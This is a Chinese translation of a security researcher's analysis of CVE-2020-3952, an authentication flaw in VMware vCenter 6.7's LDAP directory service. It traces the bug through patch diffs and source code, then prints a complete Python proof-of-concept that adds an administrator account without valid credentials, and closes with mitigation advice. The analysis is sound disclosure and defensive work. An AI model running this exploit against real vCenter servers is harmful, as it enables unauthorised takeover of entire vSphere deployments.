导语:上周四,VMware发布了CVE-2020-3952的安全公告,公告中称 VMware Directory Service(vmdir)存在敏感信息泄露漏洞。除了最新版本的其他vCenter Server v6.7都会受到攻击。
0x01 漏洞描述
近期,VMware发布了CVE-2020-3952的安全公告,公告中称 VMware Directory Service(vmdir)存在敏感信息泄露漏洞。除了最新版本的其他vCenter Server v6.7都会受到攻击。
该漏洞的CVSS得分为10.0,这个分数就非常高了。尽管获得了许多信息,但仍未找到有关该漏洞的技术细节记录,希望更多地了解其风险,并了解攻击者如何利用它们,因此开始分析VMware下发的补丁程序vCenter Appliance 6.7 Update 3f中的更新。
通过梳理对vCenter Directory服务的更新,重建了导致此漏洞的漏洞代码流。分析表明,通过三个简单的未经身份验证的LDAP命令,仅对网络进行vCenter目录服务访问的攻击者可以向vCenter Directory添加管理员帐户。
通过此PoC可以实现整个vSphere部署的远程接管。
该漏洞是由vmdir的旧版LDAP处理代码中的两个严重问题引起的:
1. VmDirLegacyAccessCheck函数中的漏洞,导致在权限检查失败时返回“已授予访问权限”。
2. 一个安全设计缺陷,假设它是内部操作,该缺陷会授予不带令牌的LDAP会话root特权。
0x02 补丁分析
由于VMware将其新版本发布为磁盘映像而不是修补程序,因此必须在旧版本Update 3e和新版本之间进行区分。挂载磁盘映像显示,大多数情况下,这些发行版由一长串RPM组成。一旦提取了所有这些软件包的内容,就可以通过并列比较散列来查看实际更新了哪些文件。
不幸的是,事实证明,自上一个发行版以来,已更新了近1500个文件,远远超过可以手工检出的文件。猜测罪魁祸首可能在名称中的某处带有“ vmdir”。
缩减为以下列表:
usr/lib/vmware-vmdir/lib64/libcsrp.a usr/lib/vmware-vmdir/lib64/libcsrp.la usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.a usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.la usr/lib/vmware-vmdir/lib64/libgssapi_srp.a usr/lib/vmware-vmdir/lib64/libgssapi_srp.la usr/lib/vmware-vmdir/lib64/libgssapi_unix.a usr/lib/vmware-vmdir/lib64/libgssapi_unix.la usr/lib/vmware-vmdir/lib64/libkrb5crypto.a usr/lib/vmware-vmdir/lib64/libkrb5crypto.la usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.a usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.la usr/lib/vmware-vmdir/lib64/libvmdirauth.a usr/lib/vmware-vmdir/lib64/libvmdirauth.la usr/lib/vmware-vmdir/lib64/libvmdirclient.a usr/lib/vmware-vmdir/lib64/libvmdirclient.la usr/lib/vmware-vmdir/lib64/libvmkdcserv.a usr/lib/vmware-vmdir/lib64/libvmkdcserv.la usr/lib/vmware-vmdir/sbin/vmdird
列出了内置于单个已编译二进制文件中的静态链接库:vmdird。换句话说,从3e更新开始,vmdir服务器就已经更新了。
在进行适当的文件 diff 之前,想知道是否对vmdird中的导出符号进行了明显的更新。
比较的结果令人震惊:
jj@ubuntu:~/misc/vms$ diff <(objdump -T patched_extracted/usr/lib/vmware-vmdir/sbin/vmdird | cut -f 2- -d " " | sort | uniq) g DF .text 00000000000000ce Base VmDirLegacyAccessCheck 1440d1440 < g DF .text 00000000000000ef Base VmDirLegacyAccessCheck 2194a2195 > g DF .text 000000000000038d Base VmDirSrvAccessCheck 2199d2199 < g DF .text 0000000000000393 Base VmDirSrvAccessCheck
漏洞函数根本不是VmDirLegacyAccessCheck函数,VMware在描述中写道:“当vmdir服务开始声明启用了旧版ACL模式时,受影响的部署将创建一个日志条目。”
在IDA中列出了这些功能的反汇编。这是未打补丁的版本,已经突出显示了可以更新函数返回值的所有内容。
__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, unsigned int a4) { unsigned int v5; // [rsp+14h] [rbp-2Ch]@1 __int64 v6; // [rsp+18h] [rbp-28h]@1 unsigned int v7; // [rsp+3Ch] [rbp-4h]@1 v6 = a3; v5 = a4; v7 = 0; // VMDIR_SUCCESS if ( !(unsigned __int8)sub_4EF7B1(a1, a2, a4) && v5 == 2 && ((unsigned __int8)sub_4EF510(v6) || (unsigned __int8)sub_4EF218(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) ) { v7 = 9114; // VMDIR_ERROR_UNWILLING_TO_PERFORM VmDirLog1(4); } return v7; }
这是已修补的:
__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, unsigned int a4) { unsigned int v5; // [rsp+14h] [rbp-2Ch]@1 __int64 v6; // [rsp+18h] [rbp-28h]@1 unsigned int v7; // [rsp+3Ch] [rbp-4h]@1 v6 = a3; v5 = a4; v7 = 9207; // VMDIR_ERROR_INSUFFICIENT_ACCESS if ( a4 == 2 && ((unsigned __int8)sub_4EF5B1(a3) || (unsigned __int8)sub_4EF2B9(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) ) { v7 = 9114; // VMDIR_ERROR_UNWILLING_TO_PERFORM VmDirLog1(4); } else if ( (unsigned __int8)sub_4EF852(a1, a2, v5) ) { v7 = 0; // VMDIR_SUCCESS } else if ( v5 == 16 && (unsigned __int8)sub_4EF220(v6) ) { v7 = 0; // VMDIR_SUCCESS } return v7; }
在修补版本中,如果不满足任何条件,则VmDirLegacyAccessCheck返回9207(VMDIR_ERROR_INSUFFICIENT_ACCESS)。寻找该函数的先前版本中不存在的返回值,发现了Lightwave项目。
事实证明,vmdir的代码已由VMware在其Github存储库上提供。
0x03 源码分析
很高兴在VMWare的存储库中发现了VmDirLegacyAccessCheck源代码。不仅如此,手头的代码适合该功能的新修补版本。
测试:
1. 在旧的DB + LW 1.2设置中创建一个普通用户,例如testuser1。
2. 在修复之前,testuser1具有比所需更多的权限。
3. 修复后,testuser1仅可以读取/写入其自己的条目,而不能进行其他操作。
因此,在修复之前至少有一个VMware的开发人员知道这里有问题,旧模式访问拥有比期望更多的权限。
修复之前,默认情况下,VmDirLegacyAccessCheck的返回值保留成功值。通过_VmDirAllowOperationBasedOnGroupMembership进行的权限检查失败,使返回值保持为0(VMDIR_SUCCESS)不变,最终授予了对该操作的访问权限。
已经找到了漏洞函数,继续看一下哪些地方调用了此函数以及如何进行漏洞利用。
0x04 漏洞点分析
安装最新的vCenter Server 6.7,也安装了6.5或6.0的未升级版本。根据VMware的说法,在存在漏洞的系统上,可以在/var/log/vmware/vmdird/vmdird-syslog.log(或Windows上的%ALLUSERSPROFILE%\ VMWare \ vCenterServer \ logs \ vmdird \ vmdir.log)下找到某个日志行:
2020-04-06T17:50:41.860526+00:00 info vmdird t@139910871058176: ACL MODE: Legacy
由于vCenter Server不易受到攻击,日志文件缺少此行。寻找打印此日志行的代码,将引向_VmDirIsLegacyACLMode函数:
static BOOLEAN _VmDirIsLegacyACLMode( VOID ) { ... dwError = VmDirBackendUniqKeyGetValue( VMDIR_KEY_BE_GENERIC_ACL_MODE, // "acl-mode" &pValue); ... // We should have value "enabled" found for ACL enabled case. bIsLegacy = VmDirStringCompareA(pValue, VMDIR_ACL_MODE_ENABLED, FALSE) != 0; … if (bIsLegacy) { VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL, "ACL MODE: Legacy"); } ... }
该代码显示在某个键值存储中某处应存在字符串“ acl-mode”和“ enabled”(对于非传统模式)或“ disabled”(对于传统模式)。毫无疑问,“ acl-modeenabled”在(已打补丁的)vmdir数据库文件/storage/db/vmware-vmdir/data.mdb中出现了很多次。将字符串的“启用”部分更新为其他任何值(“禁用”将更新字符串的大小,因此不这样做),然后重新启动vmdir,使所需的日志行显示在vmdird-syslog.log中。
这就解释了为什么只有vCenter Server 6.7容易受到此攻击。在升级的6.7上,vmdird二文件仍然容易受到攻击,更新的是ACL模式配置。全新安装默认为新模式(启用了acl-mode),但是升级会保留以前的配置,默认情况下启用了旧模式。
0x05 漏洞利用
在这一点上,需要找出如何触发在漏洞函数VmDirLegacyAccessCheck中结束的代码流。
正如在调用图中看到的那样,添加,修改和搜索请求都可以通过VmDirLegacyAccessCheck进行。
安装了ldap-utils并尝试使用漏洞的凭据将用户添加到vCenter计算机:
root@computer:~# ldapadd -x -w 1234 -f hacker.ldif -h 192.168.1.130 -D"cn=Administrator,cn=Users,dc=vsphere,dc=local" ldap_bind: Invalid credentials (49)
看看vmdird日志的内容:
2020-04-15T14:20:56.079504+00:00 info vmdird t@140564750137088: Bind failed () (9234) 2020-04-15T14:20:56.080409+00:00 err vmdird t@140564750137088: VmDirSendLdapResult: Request (Bind), Error (49), Message (), (0) socket (192.168.0.254) 2020-04-15T14:20:56.080832+00:00 err vmdird t@140564750137088: Bind Request Failed (192.168.0.254) error 49: Protocol version: 3, Bind DN: "cn=Administrator,cn=Users,dc=vsphere,dc=local", Method: Simple
ldapadd首先需要绑定到服务器,然后它才能对它运行命令,但是绑定失败,并显示漏洞9234-VMDIR_ERROR_USER_INVALID_CREDENTIAL。有没有办法跳过绑定阶段?
安装python-ldap并尝试:
dn = 'cn=Hacker,cn=Users,dc=vsphere,dc=local' modlist = { 'userPrincipalName': ['[email protected]'], 'sAMAccountName': ['hacker'], 'givenName': ['hacker'], 'sn': ['vsphere.local'], 'cn': ['Hacker'], 'uid': ['hacker'], 'objectClass': ['top', 'person', 'organizationalPerson', 'user'], 'userPassword': 'TheHacker1!' } c = ldap.initialize('ldap://192.168.1.130') c.add_s(dn, ldap.modlist.addModlist(modlist)) Traceback (most recent call last): File "do_ldap.py", line 27, in print c.add_s(dn, ldap.modlist.addModlist(modlist)) ... ldap.INSUFFICIENT_ACCESS: {'info': u'Not bind/authenticate yet', 'desc': u'Insufficient access'}
这是来自VCenter服务器的匹配日志:
2020-04-15T14:32:21.526506+00:00 err vmdird t@140565521872640: VmDirSendLdapResult: Request (Add), Error (50), Message (Not bind/authenticate yet), (0) socket (192.168.0.254)
在代码中查找漏洞消息“尚未绑定/未验证” 会引向函数VmDirMLAdd。
int VmDirMLAdd( PVDIR_OPERATION pOperation ) { ... // AnonymousBind Or in case of a failed bind, do not grant add access if (pOperation->conn->bIsAnonymousBind || VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo)) { dwError = LDAP_INSUFFICIENT_ACCESS; BAIL_ON_VMDIR_ERROR_WITH_MSG( dwError, pszLocalErrMsg, "Not bind/authenticate yet"); } ... dwError = VmDirInternalAddEntry(pOperation); BAIL_ON_VMDIR_ERROR(dwError); ... }
如代码所示,必须满足两个条件,客户端才能添加:
1. LDAP会话一定不能是匿名的,即必须指定一个域。
2. 会话中不应包含“访问失败信息”。
让从传递第一个条件开始,需要bIsAnonymousBind为FALSE。将此变量设置为FALSE的唯一代码是在VmDirMLBind中:
int VmDirMLBind( PVDIR_OPERATION pOperation ) { ... pOperation->conn->bIsAnonymousBind = TRUE; // default to anonymous bind switch (pOperation->request.bindReq.method) { case LDAP_AUTH_SIMPLE: ... pOperation->conn->bIsAnonymousBind = FALSE; dwError = VmDirInternalBindEntry(pOperation); BAIL_ON_VMDIR_ERROR(dwError); ... break; case LDAP_AUTH_SASL: pOperation->conn->bIsAnonymousBind = FALSE; dwError = _VmDirSASLBind(pOperation); BAIL_ON_VMDIR_ERROR(dwError); ... break; ... } ... }
请注意,无论VmDirInternalBindEntry是否成功,都会为bIsAnonymousBind分配为FALSE。换句话说,即使的绑定身份验证失败,也会通过条件的第一部分。
现在针对该条件的第二部分是VmDirIsFailedAccessInfo :
/* Check whether it is a valid accessInfo * (i.e.: resulted by doing a successful bind in an operation) */ BOOLEAN VmDirIsFailedAccessInfo( PVDIR_ACCESS_INFO pAccessInfo ) { BOOLEAN bIsFaliedAccessPermission = TRUE; if ( ! pAccessInfo->pAccessToken ) { // internal operation has NULL pAccessToken, yet we granted root privilege bIsFaliedAccessPermission = FALSE; } else { // coming from LDAP protocol, we should have BIND information if ( ! IsNullOrEmptyString(pAccessInfo->pszBindedObjectSid) && ! IsNullOrEmptyString(pAccessInfo->pszNormBindedDn) && ! IsNullOrEmptyString(pAccessInfo->pszBindedDn) ) { bIsFaliedAccessPermission = FALSE; } } return bIsFaliedAccessPermission; }
为了达到用户添加流程,需要使其以某种方式返回FALSE。看一下第一种方法:检查NULL访问令牌。
检查是否授予访问权限的函数允许没有访问令牌的用户进行操作,这似乎很奇怪,此案是针对“内部操作”的。大概是由vmdird在内部启动的LDAP 会将pAccessToken留空以标记它应该被允许通过,并且其他访问都将在绑定阶段失败。这是一种奇怪的方式,为此指定一个pAccessInfo-> bIsInternalOperation字段会更加清楚。
绑定失败时,pAccessInfo-> pAccessToken保留为空。这里的VmDirInternalBindEntry,这是VmDirMLBind从vmdird的消息循环。
* Return: VmDir level error code. Also, pOperation->ldapResult content is set. */ int VmDirInternalBindEntry( PVDIR_OPERATION pOperation ) { DWORD retVal = LDAP_SUCCESS; ... // Normalize DN retVal = VmDirNormalizeDN( &(pOperation->reqDn), pOperation->pSchemaCtx ); BAIL_ON_VMDIR_ERROR_WITH_MSG( retVal, pszLocalErrMsg, "DN normalization failed - (%u)(%s)", retVal, VDIR_SAFE_STRING(VmDirSchemaCtxGetErrorMsg(pOperation->pSchemaCtx)) ); ... cleanup: VMDIR_SAFE_FREE_MEMORY( pszLocalErrMsg ); VmDirFreeEntryContent ( &entry ); return retVal; error: ... if (retVal) { VmDirFreeAccessInfo(&pOperation->conn->AccessInfo); VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL, "Bind failed (%s) (%u)", VDIR_SAFE_STRING(pszLocalErrMsg), retVal); retVal = LDAP_INVALID_CREDENTIALS; ... } VMDIR_SET_LDAP_RESULT_ERROR(&(pOperation->ldapResult), retVal, pszLocalErrMsg); goto cleanup; }
不正确的凭据在VmDirNormalizeDN处一直失败。这将带进入漏洞链,该漏洞链清除了pOperation-> conn-> AccessInfo-> pAccessToken。
回到双重条件:
if (pOperation->conn->bIsAnonymousBind || VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))
现在,条件的两个部分都成立。
因此,不能只是跳过绑定并期望一切正常,但似乎即使是失败的绑定尝试也将完成此检查。
终于到了VmDirLegacyAccessCheck函数。在执行添加操作之前,VmDirInternalAddEntry调用VmDirSrvAccessCheck ,后依次调用VmDirLegacyAccessCheck。
VmDirLegacyAccessCheck是最后一道防线。其工作是检查该特定用户是否应允许这种特定类型的访问(添加或修改LDAP条目)。身份验证检查不应该允许首先到达这里,但是仍然希望此检查会阻止操作。
该差异地址在旧版方案实现中存在一个漏洞。
测试:
1. 在旧的DB + LW 1.2设置中创建一个普通用户,例如testuser1。
2. 在修复之前,testuser1具有比所需更多的权限。
3. 修复后,testuser1仅可以读取/写入其自己的条目,而不能进行其他操作。
如果VmDirLegacyAccessCheck总是让通过,则访问检查应该成功,并且应该添加的用户。
那么,如果忽略bind的结果,会发生什么呢?
c = ldap.initialize('ldap://192.168.1.130') try: c.simple_bind_s(dn, 'fakepassword') except: pass c.add_s(dn, ldap.modlist.addModlist(modlist))
/var/log/vmware/vmdird/vmdird-syslog.log中对此没有输出,可以看到该用户的搜索请求:
root@computer:~# ldapsearch -b "cn=Hacker,cn=Users,dc=vsphere,dc=local" -s sub -D "cn=Administrator,cn=Users,dc=vsphere,dc=local" -h 192.168.1.130 -x -w # extended LDIF # # LDAPv3 # base with scope subtree # filter: (objectclass=*) # requesting: ALL # # Hacker, Users, vsphere.local dn: cn=Hacker,cn=Users,dc=vsphere,dc=local nTSecurityDescriptor:: ... krbPrincipalKey:: ... sn: vsphere.local userPrincipalName: [email protected] cn: Hacker givenName: hacker uid: hacker sAMAccountName: hacker objectClass: top objectClass: person objectClass: organizationalPerson objectClass: user # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1
如果尝试与此新用户连接到vSphere,会发生什么?
在哪里可以获得“在连接到此客户端的vCenter Server系统上的权限”?让将具有相同未认证连接的Hacker用户添加到Administrator组:
groupModList = [(ldap.MOD_ADD, 'member', [dn])] c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList)
再次尝试登录:
PoC如下:
https://github.com/guardicore/vmware_vcenter_cve_2020_3952 #!/usr/bin/env python import ldap import ldap.modlist import sys if len(sys.argv) != 4: print('usage: exploit.py ') exit(1) vcenter_ip = sys.argv[1] new_username_str = sys.argv[2] new_username = new_username_str.encode('utf-8') new_password_str = sys.argv[3] new_password = new_password_str.encode('utf-8') dn = 'cn=' + new_username_str + ',cn=Users,dc=vsphere,dc=local' modlist = { 'vmwPasswordNeverExpires': [b'True'], 'userPrincipalName': [new_username + b'@VSPHERE.LOCAL'], 'sAMAccountName': [new_username], 'givenName': [new_username], 'sn': [b'vsphere.local'], 'cn': [new_username], 'uid': [new_username], 'objectClass': [b'top', b'person', b'organizationalPerson', b'user'], 'userPassword': new_password} c = ldap.initialize('ldap://' + vcenter_ip) try: c.simple_bind_s('[email protected]', 'fakepassword') except ldap.INVALID_CREDENTIALS: print('got expected ldap.INVALID_CREDENTIALS error on bind') except: print('failed to bind with unexpected error') raise else: print('did not receive ldap.INVALID_CREDENTIALS on bind! failing') exit(1) try: c.add_s(dn, ldap.modlist.addModlist(modlist)) except ldap.ALREADY_EXISTS: print('user already exists, skipping add and granting administrator permissions') except: print('failed to add user. this vCenter may not be vulnerable to CVE-2020-3952') raise print('user added successfully, attempting to give it administrator permissions') groupModList = [(ldap.MOD_ADD, 'member', [dn.encode('utf-8')])] try: c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList) except ldap.TYPE_OR_VALUE_EXISTS: print('user already had administrator permissions') except: print('user was added but failed to give it administrator permissions') raise print('success! you can now connect to vSphere with your credentials.') print('username: ' + new_username_str) print('password: ' + new_password_str)
0x06 缓解措施
减轻上述风险的最有效方法是为存在漏洞的vCenter Server版本安装最新补丁。或者,安装最新版本(7.0)也将安全部署vSphere。 强烈建议限制对vCenter LDAP接口的访问。实际上,这意味着除了管理用途之外,禁止通过LDAP端口(389)进行任何访问。
0x07 分析总结
尽管VMware的代码相对清晰,但从这个漏洞来看还是有很多问题。正如在代码注释和提交消息中所看到的,开发人员也至少部分地意识到了它们。如果VMware深入研究了该漏洞,他们将发现一系列需要解决的问题:bIsAnonymousBind的奇怪语义,pAccessToken处理以及从VmDirLegacyAccessCheck开始的漏洞。
不过,也许最令人困扰的事情是,对VmDirLegacyAccessCheck的漏洞修正是在大约三年前,现在才发布。对于像LDAP特权升级这样至关重要的事情,三年时间是很长的。
本文翻译自:https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/如若转载,请注明原文地址: